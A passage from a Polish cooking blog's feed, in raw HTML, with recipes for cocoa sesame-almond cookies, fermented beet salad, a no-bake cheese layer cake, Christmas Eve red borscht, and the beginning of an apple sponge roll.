href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpwpTGAROFNyaNc6BRqiMIVlnknzh_d3cmMx0RBhafuTq-CzefWUn78xOOKJDsrrJ3gKXhS1NABiP8KmGe5nOXlWHUpnDDjt1htNlMh0NNz05crjrwEpKn3XfvpzFxI0cu8v4l_5gzeUDnB-fd_YRpnotgN0HGVEHYb5f4j_SneaSNpfsB9yKZn5yT41SK/s1600/Ciasteczka_kakaowe_z_sezamem_i_migdalami.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasteczka kakaowe z cynamonem i sezamem" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpwpTGAROFNyaNc6BRqiMIVlnknzh_d3cmMx0RBhafuTq-CzefWUn78xOOKJDsrrJ3gKXhS1NABiP8KmGe5nOXlWHUpnDDjt1htNlMh0NNz05crjrwEpKn3XfvpzFxI0cu8v4l_5gzeUDnB-fd_YRpnotgN0HGVEHYb5f4j_SneaSNpfsB9yKZn5yT41SK/w400-h300/Ciasteczka_kakaowe_z_sezamem_i_migdalami.jpg" title="Ciastka kakaowe z sezamem i migdałami" width="400" /></a></div><fieldset>Liczba porcji: 100 szt.<br />Czas przygotowania: 30 minut<br />Czas pieczenia: 15 minut<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 355 kcal<br />Kategoria: deser<br />Dieta: wegetariańska<br /></fieldset><h3 style="text-align: center;">Przepis na ciastka kakaowe z sezamem i migdałami</h3><h4 style="text-align: left;">Składniki na ciastka kakaowe z sezamem i migdałami:</h4></div><div><ul style="text-align: left;"><li>150 g masła</li><li>75 g miodu naturalnego (3 łyżki)</li><li>150 g cukru pudru</li><li>2 łyżeczki kakao naturalnego</li><li>1 łyżeczka cynamonu</li><li>1/2 łyżeczki imbiru</li><li>500 g mąki pszennej typ 500</li><li>4 żółtka</li><li>150 g śmietany 18%</li><li>2 łyżeczki sody oczyszczonej<br />Dodatkowo:</li><li>60 g sezamu</li><li>60 g posiekanych migdałów</li><li>30 ml mleka</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b><h4 style="text-align: left;">Jak zrobić ciastka kakaowe z sezamem i migdałami?</h4><div><ol style="text-align: left;"><li>W rondlu na małej mocy palnika roztopić masło z miodem i wymieszać dokładnie z kakao i cynamonem (nie gotować). Odstawić do wystudzenia, masa może być lekko ciepła, ale nie gorąca.</li><li>Mąkę wymieszać z cukrem pudrem, dodać roztrzepane żółtka i wstępnie wymieszać.</li><li>Następnie dodać śmietanę wymieszaną z sodą i ponownie wymieszać.</li><li>Dodać wystudzone masło z miodem i wszystko dokładnie wymieszać drewnianą łyżką. Do mieszania można wykorzystać robot z hakiem.</li><li>Ciasto podzielić na 4 części i włożyć na co najmniej 30 minut do schłodzenia. Ciasto można nawet zrobić wieczorem, przykryć i włożyć na noc do lodówki, wtedy łatwiej będzie robić z niego ciasteczka.</li><li>Wyjąć z lodówki jedną część ciasta, rozwałkować na grubość około 0,5 cm i wykrawać z niego ciasteczka za pomocą foremki. Mąką delikatnie posypywać wałek i ewentualnie deskę, na której ciasto będzie wałkowane.</li><li>Ciasteczka układać na blachę wyłożoną papierem do pieczenia zachowując niewielkie odstępy. Następnie posmarować z wierzchu mlekiem i posypać sezamem oraz posiekanymi migdałami.</li><li>Piec w piekarniku nagrzanym góra-dół do 170 stopni C przez około 15 minut. Czas pieczenia zależy od grubości ciasteczek i indywidualnych właściwości piekarnika. Ciasteczek nie piec zbyt długo, gdyż będą twarde i gorzkie.</li><li>Ciastka po upieczeniu dokładnie wystudzić i przechowywać w zamykanym pudełku lub słoju.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2021/12/pierniczki-od-razu-miekkie.html" target="_blank">pierniczki od razu miękkie</a>.</li></ol></div></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com3tag:blogger.com,1999:blog-2509800748059388515.post-23150325584936359432024-01-09T10:00:00.004+01:002024-01-09T10:22:04.629+01:00Surówka z kiszonych buraków<h2 style="text-align: left;">Bardzo smaczna i zdrowa surówka z kiszonych buraków. Zastanawiasz się, co zrobić z kiszonych buraków, które zostały po zrobieniu zakwasu buraczanego? Nigdy ich nie wyrzucaj, gdyż zawierają dużo wartości odżywczych i smakują lepiej niż kiszone ogórki. Najlepszy i najprostszy sposób, w jaki możesz wykorzystać kiszone buraki.</h2><div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUPt1NC3rYFUI9xdV1AGrCNgawVojfgtxRRxPZptY0RzP0hLgCAk7nsnRhIqjH-6qtWB-3LcpBAvw2TsxpvJYuxHpIrrCOBTNuseOkLLPa2qMqmNDMjXi06ZA38SscTM6Syg4RnmMpEc036pGpX7AiEUKb5Q1ToZzX3pTQNKczIK5vuljzlk_lavN1s8_i/s1600/Sur%C3%B3wka%20z%20burak%C3%B3w%20kiszonych0.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sałatka z buraków i selera naciowego" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUPt1NC3rYFUI9xdV1AGrCNgawVojfgtxRRxPZptY0RzP0hLgCAk7nsnRhIqjH-6qtWB-3LcpBAvw2TsxpvJYuxHpIrrCOBTNuseOkLLPa2qMqmNDMjXi06ZA38SscTM6Syg4RnmMpEc036pGpX7AiEUKb5Q1ToZzX3pTQNKczIK5vuljzlk_lavN1s8_i/w400-h300/Sur%C3%B3wka%20z%20burak%C3%B3w%20kiszonych0.jpg" title="Surówka z kiszonych buraków" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;">Wykorzystanie kiszonych buraków po zrobieniu zakwasu jest zgodne z popularnym trendem zero waste i przynosi korzyści zarówno ekonomiczne, jak i zdrowotne. <b>Kiszenie buraków</b> obniża w nich zawartość cukru i stają się mniej kaloryczne. Kiszonki mają działanie prozdrowotne i warto spożywać je regularnie. <b>Kiszone buraki</b> są bogatym źródłem witaminy C, witaminy E, wzmacniają krew i florę bakteryjną naszych jelit. Poprawiają pracę układu pokarmowego i usprawniają przemianę materii.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Surówka z kiszonych buraków</b> powinna być zrobiona od razu po wyjęciu ich z płynu, gdyż pozostawione bez niego tracą kolor. U mnie właśnie buraki nieco się utleniły, bo pozostawiłam je na noc bez płynu, ale smaku nie straciły. <b>Surówka z buraków</b> jest bardzo smaczna nawet z samym jabłkiem, ale seler i papryka sprawiają, że surówka jest bardziej soczysta i ma więcej smaku.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Selera i paprykę warto pokroić w nieco cieńsze kawałeczki, niż jest to widoczne u mnie na zdjęciu. Od pewnego czasu jestem wielką fanką surówki z kiszonych buraków.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2I6Wf0ZfeiA38mqSFpBGtiyNFQOZXJLOCVeehlN6_Jx0gmS0JVQgCokATcpPk3yYSG0XGt6qXfXfHEdQeLiD4SbDb1_vXyg6wi19N6n9StK-15sM32VYElN7EMNXSLohdDwMw9xoNFPQ_C1tDU9kWv7W_FP33Xq67ARkJCOv3tMEqJcoB0hA9HvHwQZql/s1600/Sur%C3%B3wka%20z%20burak%C3%B3w%20kiszonych.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Surówka z buraków, papryki i selera naciowego" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2I6Wf0ZfeiA38mqSFpBGtiyNFQOZXJLOCVeehlN6_Jx0gmS0JVQgCokATcpPk3yYSG0XGt6qXfXfHEdQeLiD4SbDb1_vXyg6wi19N6n9StK-15sM32VYElN7EMNXSLohdDwMw9xoNFPQ_C1tDU9kWv7W_FP33Xq67ARkJCOv3tMEqJcoB0hA9HvHwQZql/w400-h300/Sur%C3%B3wka%20z%20burak%C3%B3w%20kiszonych.jpg" title="Surówka z kiszonych buraków" width="400" /></a></div></div><fieldset>Liczba porcji: 5<br />Czas przygotowania: 25 minut<br />Czas pieczenia: 0<br /><a title="Wartość kaloryczna 100 g potrawy jest szacunkowa. Produkty producentów mogą różnić się liczbą kcal.">Wartość kaloryczna:</a> 100 g = 40 kcal<br />Kategoria: surówka, sałatka<br />Dieta: wegetariańska<br /></fieldset><h3 style="text-align: center;">Przepis na surówkę z kiszonych buraków</h3><h4 style="text-align: left;">Składniki na surówkę z kiszonych buraków:</h4><div><ul style="text-align: left;"><li>700 g <a href="https://www.kuchcikgotuje.pl/2023/12/zakwas-z-burakow.html" target="_blank" title="Jak kisić buraki?">kiszonych buraków</a></li><li>150 g papryki czerwonej</li><li>100 g selera naciowego</li><li>200 g jabłka (1 sztuka)</li><li>100 g cebuli (1 sztuka)</li><li>2 łyżki majonezu</li><li>1 łyżeczka pieprzu ziołowego</li><li>1 łyżeczka soku z cytryny</li><li>1/2 łyżeczki cukru</li><li>sól i pieprz do smaku</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<span style="font-size: large;"><b>Opis krok po kroku:</b></span></div><h4 style="text-align: left;">Jak zrobić surówkę z kiszonych buraków?</h4><div style="text-align: left;"><ol style="text-align: left;"><li>Kiszone buraki zetrzeć na tarce o dużych oczkach i wymieszać z cukrem.</li><li>Cebulę obrać i zetrzeć na tarce tak samo, jak buraki.</li><li>Paprykę pokroić najlepiej w cienkie paseczki, wtedy łatwiej połączy się z burakami.</li><li>Selera pokroić w poprzek włókien na cienkie plasterki.</li><li>Jabłko obrać, zetrzeć na tarce o dużych oczkach i wymieszać z sokiem z cytryny.</li><li>Warzywa wymieszać dokładnie z majonezem. Ilość majonezu dostosować do swoich upodobań.</li><li>Surówkę z buraków doprawić do smaku pieprzem i solą.</li><li>Odstawić na około 30 minut, aby połączyły się ze sobą wszystkie smaki.</li><li>Surówka świetnie się przechowuje i na następny dzień jest jeszcze smaczniejsza.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2022/04/salatka-z-pieczonych-burakow.html" target="_blank">sałatka z pieczonych buraków</a>.</li></ol></div></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com0tag:blogger.com,1999:blog-2509800748059388515.post-86721062937636767792023-12-16T09:11:00.008+01:002024-02-10T10:45:36.470+01:00Ciasto bez pieczenia przekładane serem<h2 style="text-align: left;">Łatwe do przygotowania ciasto bez pieczenia przekładane serem. Prosty przepis na sernik na zimno z serem z wiaderka. Szybki sernik bez pieczenia z herbatnikami wykona każdy, gdyż trzeba jedynie utrzeć masło z serem i przełożyć nim herbatniki. Odpowiedni przepis na ciasto dla osób, które nie mają zdolności do pieczenia lub chęci, czy też czasu na długie spędzanie go w kuchni. Pyszne ciasto na święta lub deser na każdą inną okazję.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3v-uGOHdwWg9jGVfPcRtnKeR57-RIO2gAkgaSUgTlw0nHCpdPlmzwSDM6Y4huFzul41AokjD_1WxPdSq_G1Dy4I8sb8msBIGRZH58y9bVNcdX1xgainA5LoXBOo13sWmsKMaw_2L_DEsBkyS-QqO4qnnqBGYBBnHL88I19RpI5vlrLRuRMRtOjp7ao24/s1600/Ciasto%20bez%20pieczenia%20przek%C5%82adane%20serem1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Sernik bez pieczenia z herbatnikami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3v-uGOHdwWg9jGVfPcRtnKeR57-RIO2gAkgaSUgTlw0nHCpdPlmzwSDM6Y4huFzul41AokjD_1WxPdSq_G1Dy4I8sb8msBIGRZH58y9bVNcdX1xgainA5LoXBOo13sWmsKMaw_2L_DEsBkyS-QqO4qnnqBGYBBnHL88I19RpI5vlrLRuRMRtOjp7ao24/w400-h300/Ciasto%20bez%20pieczenia%20przek%C5%82adane%20serem1.jpg" title="Ciasto bez pieczenia przekładane serem" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;">Najlepszy przepis na <b>ciasto bez pieczenia</b> przekładne serem, które zrobi każdy. <b>Sernik bez pieczenia </b>z herbatnikami nie wymaga od nas szczególnych zdolności kulinarnych i dużej liczby składników. <b>Sernik na zimno</b> z herbatnikami zrobiłam z sera z wiaderka, ale można również wykorzystać inny mielony biały ser twarogowy.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Jedyne, na co trzeba zwrócić uwagę, przygotowując szybki sernik bez pieczenia, to dokładne zmiksowanie masła. Masło powinno być dobrze utarte, gdyż po dodaniu sera musi się z nim połączyć, aby po zastygnięciu nie było grudek.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Przepis na <b>sernik z herbatnikami</b> jest na dużą formę, ale można zrobić go z połowy składników, aby było mniej porcji. Pyszne i chyba najłatwiejsze ciasto bez pieczenia, jakie do tej pory robiłam.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCM4UZuiSfivAeVVQ3NDJiBjgFqyqHfnrSQx8vkuuuqypzqLhENMl9r4SZKbuNAg3eMkmz_-nJjQbnYRkpfgTigt9jl1xlsEFgxH6S0qkKEgNaJ47myl16bnrrOG14EQ3kMQ-u_6JR4lvTNN8kJu1EcFzQbDs5WTkKCvpESRa5Qmvn_CJyd83wykic1fk/s1600/Ciasto%20bez%20pieczenia%20przek%C5%82adane%20serem.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Ciasto z serem i herbatnikami bez pieczenia" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCM4UZuiSfivAeVVQ3NDJiBjgFqyqHfnrSQx8vkuuuqypzqLhENMl9r4SZKbuNAg3eMkmz_-nJjQbnYRkpfgTigt9jl1xlsEFgxH6S0qkKEgNaJ47myl16bnrrOG14EQ3kMQ-u_6JR4lvTNN8kJu1EcFzQbDs5WTkKCvpESRa5Qmvn_CJyd83wykic1fk/w400-h300/Ciasto%20bez%20pieczenia%20przek%C5%82adane%20serem.jpg" title="Ciasto bez pieczenia przekładane serem" width="400" /></a></div><fieldset>Liczba porcji: 36<br />Czas przygotowania: 45 minut<br />Czas gotowanie: 5 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć różną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 300 kcal<br />Kategoria: deser, ciasto<br />Dieta: ogólna<br />Forma: 23 cm x 33 cm x 7 cm</fieldset><h3 style="text-align: center;">Przepis na ciasto bez pieczenia z serem</h3><h4 style="text-align: left;">Składniki na ciasto bez pieczenia przekładane serem:</h4><div><ul style="text-align: left;"><li>1000 g mielonego sera białego twarogowego (u mnie z wiaderka)</li><li>150 g cukru pudru</li><li>250 g masła 82% tłuszczu</li><li>1 łyżeczka pasty z wanilią</li><li>550 g herbatników kakaowych<br /><b>Polewa do ciasta:</b></li><li>150 g czekolady deserowej</li><li>30 g masła 82% tłuszczu</li><li>1 łyżeczka miodu naturalnego</li><li>3 łyżki mleka<br />Dodatkowo:<br /></li><li>płatki migdałowe do posypania</li></ul><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br />
<b><span style="font-size: large;">Opis krok po kroku:</span></b></div><h4 style="text-align: left;">Jak zrobić ciasto bez pieczenia przekładane serem?</h4></div><div><ol style="text-align: left;"><li>Masło zmiksować z cukrem pudrem i wanilią na puszysty krem.</li><li>Nie przerywając miksowania dodawać stopniowo ser i miksować do czasu połączenia się składników.</li><li>Masę serową podzielić na 3 równe części.</li><li>Spód formy wyłożyć herbatnikami, rozsmarować na nich jedną część masy z sera i przykryć drugą warstwą herbatników. Na herbatnikach rozsmarować kolejną część sera i znów ułożyć herbatniki, a na nich znów ser i na koniec herbatniki. Jeśli forma jest metalowa, to przed układaniem warstw, wyłożyć ją folią spożywczą lub papierem do pieczenia, gdyż ser w kontakcie z metalem może zmienić smak.</li><li>Podane w przepisie na polewę składniki roztopić w kąpieli wodnej i dokładnie wymieszać, aż powstanie jednolita konsystencja.</li><li>Polewą polać sernik, posypać płatkami migdałów i wstawić do lodówki, aby sernik stężał.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2023/01/sernik-bez-pieczenia-z-kajmakiem-i.html" target="_blank">sernik bez pieczenia z kajmakiem i galaretką z kawy</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-91408333943937341442023-12-14T08:51:00.004+01:002023-12-28T13:34:26.789+01:00Barszcz czerwony na zakwasie<h2 style="text-align: left;">Najlepszy wigilijny barszcz czerwony na zakwasie. Przepis na barszcz czerwony, który ma intensywny czerwony kolor i głęboki smak. Tradycyjny barszcz czerwony świetnie smakuje podany z uszkami na Wigilię. Czysty barszcz czerwony może być również podany w filiżance do popijania pierożków, krokietów lub pasztecików. Smak barszczu na zakwasie pamięta się bardzo długo.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFxjmyRrcHV7jklXuryNlGDH7cxLzZMvLZtB0VnssOQN3VvNjHKm5XlmK0nJOZuOIN73DZ6pcF8X-5eDTIwPYFwGsOF8oKa4wb6RGzQ9i0xZL6J8U9J_W9DuF9X34L2BUJFoahy3aFXgy2tWRYeCxuEf2vyGbcMRkMcr-rneVBk6lWnhQvAvz3sfoJAhk/s1600/Barszcz%20czerwony%20na%20zakwasie0.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Wigilijny barszcz czerwony z uszkami" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFxjmyRrcHV7jklXuryNlGDH7cxLzZMvLZtB0VnssOQN3VvNjHKm5XlmK0nJOZuOIN73DZ6pcF8X-5eDTIwPYFwGsOF8oKa4wb6RGzQ9i0xZL6J8U9J_W9DuF9X34L2BUJFoahy3aFXgy2tWRYeCxuEf2vyGbcMRkMcr-rneVBk6lWnhQvAvz3sfoJAhk/w400-h300/Barszcz%20czerwony%20na%20zakwasie0.jpg" title="Barszcz czerwony na zakwasie" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Barszcz czerwony na zakwasie</b> przygotowuje się bardzo łatwo, jednak trzeba pamiętać o kilku ważnych zasadach. Barszczu czerwonego nie można intensywnie gotować, a po ugotowaniu i przed podanie tylko delikatnie podgrzać. Istotne jest użycie dobrej jakości buraków, u mnie zazwyczaj są takie podłużne. Ostateczny smak <b>barszcz wigilijny</b> uzyskuje dzięki odpowiedniemu zakwasowi, najlepiej zrobić domowy zakwas. Bardziej intensywny kolor i głębszy smak <b>barszcz czerwony</b> uzyska dzięki wcześniejszemu upieczeniu buraków.<span style="text-align: center;"> Przygotowując <b>barszcz na zakwasie,</b> nie zapomnijcie o dodaniu jabłka, które świetnie podkreśla smak buraków.</span></div></div><div><div style="text-align: center;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1YaF7lTGBJLg24nZyFgxbh3L7iqvpKxaNzdK6pDbjcM8algEBA_2lxWR6iiJ4jrPFVIq0gAnImVkiBA_flWGTyMvE7Ed7jRy78MskdZom0aMe-KHi2KZn8DYRZHSCEWKPaj9uUfAHyosFslLL2lC9a6dvBTEURQwZKnX1qfMOfoWWZUGcbOV4jZO6KcA/s1600/Barszcz%20czerwony%20na%20zakwasie1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Barszcz czerwony z uszkami na Wigilię" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1YaF7lTGBJLg24nZyFgxbh3L7iqvpKxaNzdK6pDbjcM8algEBA_2lxWR6iiJ4jrPFVIq0gAnImVkiBA_flWGTyMvE7Ed7jRy78MskdZom0aMe-KHi2KZn8DYRZHSCEWKPaj9uUfAHyosFslLL2lC9a6dvBTEURQwZKnX1qfMOfoWWZUGcbOV4jZO6KcA/w400-h300/Barszcz%20czerwony%20na%20zakwasie1.jpg" title="Barszcz czerwony na zakwasie" width="400" /></a></div></div><fieldset>Liczba porcji: 2000 ml<br />Czas przygotowania: 15 minut<br />Czas gotowania: 60 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć różną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 34 kcal<br />Kategoria: przystawka, zupa<br />Dieta: wegetariańska, wegańska, bezglutenowa</fieldset><h3 style="text-align: center;">Przepis na wigilijny barszcz czerwony na zakwasie</h3><h4 style="text-align: left;">Składniki na barszcz czerwony na zakwasie:</h4><div><ul style="text-align: left;"><li>1 kg buraków</li><li>2 marchewki</li><li>1 pietruszka</li><li>1/2 korzenia selera</li><li>1 kwaśne jabłko</li><li>2 cebule</li><li>2 ząbki czosnku</li><li>kilka suszonych prawdziwków</li><li><a href="https://www.kuchcikgotuje.pl/2023/12/zakwas-z-burakow.html" target="_blank" title="Jak zrobić zakwas z buraów?">zakwasu z buraków</a> (u mnie 700 ml)</li><li>1 łyżka majeranku</li><li>2 liście laurowe</li><li>5 ziaren ziela angielskiego</li><li>1 łyżeczka cukru</li><li>pieprz i sól do smaku</li><li>3 litrowy garnek</li></ul></div><i>
Do odmierzania używam: łyżki - 15 ml, łyżeczki - 5 ml.</i><br /></div><div><span style="font-size: large;"><b>Opis krok po kroku:</b></span><br /><h3 style="text-align: left;">Jak zrobić barszcz czerwony na zakwasie?</h3></div><div><ol style="text-align: left;"><li>Buraki, marchew, pietruszkę i selera obrać, pokroić na mniejsze kawałki i włożyć do garnka. Buraki przed włożeniem do garnka wymieszać z cukrem i chwilę odczekać.</li><li>Buraki można wcześniej upiec w piekarniku i do gotowania dodać tarte, wtedy barszcz będzie miał jeszcze bardziej intensywny kolor i krócej trzeba będzie go gotować.</li><li>Warzywa zalać zimną wodą tak, aby były w niej całkowicie zanurzone.</li><li>Do garnka dodać obrane i przekrojone cebule, liść laurowy, ziele angielskie i opłukane grzyby.</li><li>Gotować na małej mocy palnika około 45 minut, aż warzywa będą miękkie. Zbyt intensywnie nie gotować, gdyż barszcz straci kolor i smak.</li><li>Następnie dodać przekrojone na kilka części jabłko i rozgniecione ząbki czosnku oraz majeranek, gotować na minimalnej mocy palnika przez około 5 minut.</li><li>Garnek odstawić na 2 - 3 godziny, aby wszystkie składniki i smaki się połączyły.</li><li>Barszcz przecedzić, aby oddzielić od płynu warzywa i przyprawy.</li><li>Płyn wymieszać z zakwasem i przyprawić do smaku pieprzem i solą, chwilę podgrzewać, ale nie dopuścić do zagotowania. Ilość zakwasu dostosować do stopnia jego kwaśności.</li><li>Barszcz czerwony podawać na Wigilię z uszkami lub pierożkami.<br /><br /><b><span style="color: #990000;">Zobacz również:</span></b> <a href="https://www.kuchcikgotuje.pl/2018/11/krokiety-z-kapusta-i-grzybami.html" target="_blank">krokiety z kapustą i grzybami</a>.</li></ol></div>Kuchcik gotujehttp://www.blogger.com/profile/11500955236480559461noreply@blogger.com1tag:blogger.com,1999:blog-2509800748059388515.post-59905178670773085832023-12-08T10:08:00.011+01:002023-12-25T11:47:48.809+01:00Rolada biszkoptowa z jabłkami<h2 style="text-align: left;">Rolada biszkoptowa z jabłkami jest ciastem, którego przygotowanie jest bardzo łatwe. Ciasto z jabłkami piecze się od razu w jednej formie i dopiero później robi się z niego roladę. Sposób, w jaki powstaje rolada z jabłkami, na pewno zaskoczy niejedną osobę. Idealne ciasto na święta lub pyszny deser na inną okazję. Prosty przepis na roladę jabłkową, który warto wypróbować.</h2><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuuUj251j5mQnlPCoEjb_ESmuXdIMVq65pfqcUm-c2A8mN-ePGw9GRSX6FOdifPEie4g8wj7NWKjldnixiN3MadIy4eavT4NqNOprOZaLN8zvcKlaHJeCI0a7T1nbu01CmDj1gP5OR8Un-Bt53LjXB6B-dz38goHkZB1x7PxY99d1LXPN9xCV-Cn6VbVov/s1600/Rolada%20biszkoptowa%20z%20jab%C5%82ami.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Rolada z jabłkami, szybki jabłecznik" border="0" data-original-height="1200" data-original-width="1600" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuuUj251j5mQnlPCoEjb_ESmuXdIMVq65pfqcUm-c2A8mN-ePGw9GRSX6FOdifPEie4g8wj7NWKjldnixiN3MadIy4eavT4NqNOprOZaLN8zvcKlaHJeCI0a7T1nbu01CmDj1gP5OR8Un-Bt53LjXB6B-dz38goHkZB1x7PxY99d1LXPN9xCV-Cn6VbVov/w400-h300/Rolada%20biszkoptowa%20z%20jab%C5%82ami.jpg" title="Rolada biszkoptowa z jabłkami" width="400" /></a></div><span><a name='more'></a></span><div class="separator" style="clear: both; text-align: left;"><b>Rolada biszkoptowa z jabłkami</b> jest niewiarygodnie łatwa do przygotowania. Nie trzeba oddzielnie piec ciasta na roladę ani prażyć jabłek do jej wypełnienia. <b>Rolada z jabłkami</b> pieczona jest w jednej formie, czyli jabłka i ciasto razem. Najważniejsze, że roladę zwijamy od razu po jej upieczeniu bez czekania, aż wystygnie. Oczywiście, aby ją kroić i jeść, trzeba zaczekać, aż się schłodzi.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">Wygląd i smak rolady biszkoptowej z jabłkami zależy od rodzaju użytych jabłek. Przepis na roladę z jabłkami nie zawiera dużo cukru, ale jeśli mamy dość kwaśne jabłka, to po prostu posypać większą ilością cukru papier przed położeniem na niego tartych jabłek.</div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b>Rolada jabłkowa</b> wychodzi bardzo delikatna, ale dzięki jabłkom również wilgotna. Ciasto z jabłkami, które sprawdzi się na deser na każdą okazję. Łatwy do zrobienia jabłecznik zawijany.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_bTvbfLTrhlYRIGaZIcEIktiymnR_pEHPDZXR9ZfK6xEsZQuo-kv1Z1PHImHLdeLa1weTfptVkiQyvfbcDTS26nb6PcqoOg2umxexiQ1EkLA327TliTudIKSaHCcRZqYBUkqy_xv3sxAOGp1SFZrrkZarfrSSDQ5MvupWI3a3eSL_j9jd4KitkDC4Atv/s1600/Rolada%20biszkoptowa%20z%20jab%C5%82kami1.jpg" style="margin-left: 1em; margin-right: 1em;"><img alt="Rolada biszkoptowa pieczona razem z jabłkami" border="0" data-original-height="1191" data-original-width="1600" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3_bTvbfLTrhlYRIGaZIcEIktiymnR_pEHPDZXR9ZfK6xEsZQuo-kv1Z1PHImHLdeLa1weTfptVkiQyvfbcDTS26nb6PcqoOg2umxexiQ1EkLA327TliTudIKSaHCcRZqYBUkqy_xv3sxAOGp1SFZrrkZarfrSSDQ5MvupWI3a3eSL_j9jd4KitkDC4Atv/w400-h297/Rolada%20biszkoptowa%20z%20jab%C5%82kami1.jpg" title="Rolada biszkoptowa z jabłkami" width="400" /></a></div><fieldset>Liczba porcji: 18<br />Czas przygotowania: 30 minut<br /> Czas pieczenie: 25 minut<br /><a title="Podana w przepisach wartość kaloryczna 100 g dania jest szacunkowa, gdyż produkty różnych producentów mogą mieć różną liczbę kcal.">Wartość kaloryczna</a>: 100 g = 125 kcal<br />Kategoria: deser, ciasto<br />Dieta: wegetariańska<br />Forma z piekarnika: 46 cm x 38 cm</fieldset><h3 style="text-align: center;">Przepis na roladę biszkoptową z jabłkami</h3><h4 style="text-align: left;">Składniki na roladę z jabłkami:</h4><div><ul style="text-align: left;"><li>120 g cukru</li><li>120 g mąki tortowej</li><li>1,5 łyżeczki proszku do pieczenia</li><li>4 jajka (L)<br />Dodatkowo:</li><li>800 g jabłek ze skórką (po obraniu - 600 g)</li><li>2 łyżki soku z cytryny</li><li>2 łyżki masła do posmarowania papieru</li><li>3 łyżki cukru do posypania papieru</li><li>cukier puder do posypania upieczonej rolady</li><li>papier do pieczenia</li></ul></div><i>
